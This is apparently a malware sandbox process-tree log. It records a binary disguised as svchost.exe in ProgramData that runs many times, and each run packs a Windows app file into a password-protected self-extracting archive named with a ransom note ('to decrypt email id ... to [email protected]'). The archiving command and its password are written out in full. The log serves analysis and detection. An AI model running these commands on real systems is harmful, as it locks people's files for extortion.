                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSplashScreen.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSplashScreen.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSplashScreen.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSplashScreen.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4876
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare150x150Logo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare150x150Logo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare150x150Logo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare150x150Logo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare310x310Logo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare310x310Logo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare310x310Logo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare310x310Logo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare71x71Logo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare71x71Logo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare71x71Logo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare71x71Logo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchStoreLogo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchStoreLogo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchStoreLogo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchStoreLogo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchWide310x150Logo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchWide310x150Logo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchWide310x150Logo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchWide310x150Logo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2024
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\LockScreenBadgeLogo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\LockScreenBadgeLogo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
